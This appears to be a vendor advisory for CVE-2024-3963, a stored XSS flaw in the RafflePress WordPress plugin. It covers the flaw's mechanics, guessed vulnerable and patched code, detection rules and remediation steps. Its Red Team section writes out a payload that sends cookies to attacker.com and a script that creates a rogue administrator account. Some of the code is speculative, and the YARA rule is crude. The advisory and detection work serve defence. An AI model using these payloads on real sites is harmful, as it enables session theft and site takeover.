CVE-2024-3963
Executive Summary
CVE-2024-3963 is a stored Cross-Site Scripting (XSS) vulnerability in the Giveaways and Contests by RafflePress WordPress plugin (versions before 1.12.14). This flaw allows authenticated users with Editor-level privileges (or higher) to inject arbitrary web scripts or HTML into plugin parameters that are not properly sanitized or escaped. When an administrator or other privileged user views the maliciously crafted content, the injected script executes in their browser session, potentially leading to session hijacking, defacement, or further privilege escalation within the WordPress admin panel.
This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used for running giveaways and contests, making it a high-value target for attackers aiming to compromise site administration.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository. Users should ensure they are downloading the plugin from the official source and verify the integrity of the update. No third-party package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Editor role)
- User Interaction: Required (Admin must view the malicious content)
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within the WordPress admin panel elevates the risk for organizations using this plugin.
Deep Dive & Mechanics
The vulnerability resides in the RafflePress plugin's handling of user-supplied input for giveaway parameters. The plugin fails to sanitize and escape output when rendering these parameters in the admin dashboard. An attacker with Editor-level access can craft a giveaway with malicious JavaScript payloads in fields such as the giveaway title, description, or custom CSS/JS fields.
When an Administrator or other high-privilege user views the list of giveaways or the specific giveaway details, the injected script executes in the context of the admin's browser session. This can be used to:
- Steal admin session cookies.
- Create new admin users.
- Modify site content.
- Install malicious plugins.
- Exfiltrate sensitive data.
The attack flow:
- Attacker logs in as an Editor.
- Attacker creates a new giveaway or edits an existing one.
- Attacker injects a payload like
<script>alert('XSS')</script>into a vulnerable field. - Admin navigates to the RafflePress admin page.
- The payload executes, granting the attacker admin-level actions.
Vulnerable vs. Patched Code
Vulnerable Code (before 1.12.14):
The plugin likely used echo or print without proper escaping, e.g.:
echo "<h2>" . $giveaway_title . "</h2>";
Patched Code (1.12.14+): The fix applies WordPress's built-in escaping functions:
echo "<h2>" . esc_html( $giveaway_title ) . "</h2>";
Or uses wp_kses_post() for fields that require HTML but need to strip dangerous tags.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with RafflePress < 1.12.14.
- Valid Editor-level credentials.
Steps:
- Log in as an Editor.
- Navigate to RafflePress → Add New Giveaway.
- In the "Giveaway Title" field, inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the giveaway.
- Wait for an Admin to view the giveaways list or the specific giveaway.
- The admin's cookie is exfiltrated to the attacker's server.
Alternative Payload (Admin Creation):
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/wp-admin/user-new.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('action=createuser&_wpnonce=<valid_nonce>&user_login=eviladmin&email=evil@example.com&role=administrator');
</script>
Note: This requires knowledge of the admin nonce, which can be obtained via another XSS or by scraping the page.
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual giveaway creation or modification by Editor-level users.
- Look for giveaway titles or descriptions containing
<script>,onerror=,onload=, or other event handlers. - Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to
/wp-admin/admin-ajax.phpor RafflePress endpoints.
Hardening:
- Immediately update RafflePress to version 1.12.14 or later.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Restrict Editor-level users from creating giveaways if not necessary.
- Enable WordPress's built-in
DISALLOW_UNFILTERED_HTMLconstant for lower-privileged users.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown or suspicious domains containing cookie data.
- POST requests to
/wp-admin/admin-ajax.phpwith unusual payloads.
- Host:
- Unexpected admin-level user accounts created.
- Giveaway entries containing
<script>tags or event handlers. - Modified RafflePress plugin files (check file integrity).
- Logs:
- WordPress audit logs showing giveaway creation by Editor users followed by admin account creation.
- Web server logs showing requests to
/wp-admin/admin-ajax.phpwithaction=rafflepress_save_giveawayand suspicious parameters.
Detection Engineering
YARA Rule
rule RafflePress_XSS_CVE_2024_3963 {
meta:
description = "Detects RafflePress plugin files vulnerable to CVE-2024-3963"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-3963"
strings:
$vuln_func1 = /echo\s*\$[a-zA-Z_]+/ nocase
$vuln_func2 = /print\s*\$[a-zA-Z_]+/ nocase
$plugin_file = "rafflepress" nocase
condition:
$plugin_file and ($vuln_func1 or $vuln_func2)
}
Sigma Rule
title: RafflePress XSS Attempt Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts targeting RafflePress plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=rafflepress_save_giveaway'
cs-uri-query|contains|any:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in giveaway descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"RafflePress XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=rafflepress_save_giveaway"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade RafflePress to version 1.12.14 or later from the WordPress plugin repository.
- Audit Users: Review all Editor-level users and their recent activity. Remove any suspicious accounts.
- Scan for Backdoors: Use a security plugin (e.g., Wordfence, Sucuri) to scan for injected code or backdoor files.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce the principle of least privilege: do not grant Editor roles to users who do not need them.
- Regularly update all WordPress plugins, themes, and core.
- Enable automatic updates for plugins when possible.
- Conduct periodic security audits and penetration testing.
Patch Details: The patch is included in version 1.12.14. Users should download the update from the official WordPress plugin repository or update via the WordPress admin dashboard.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.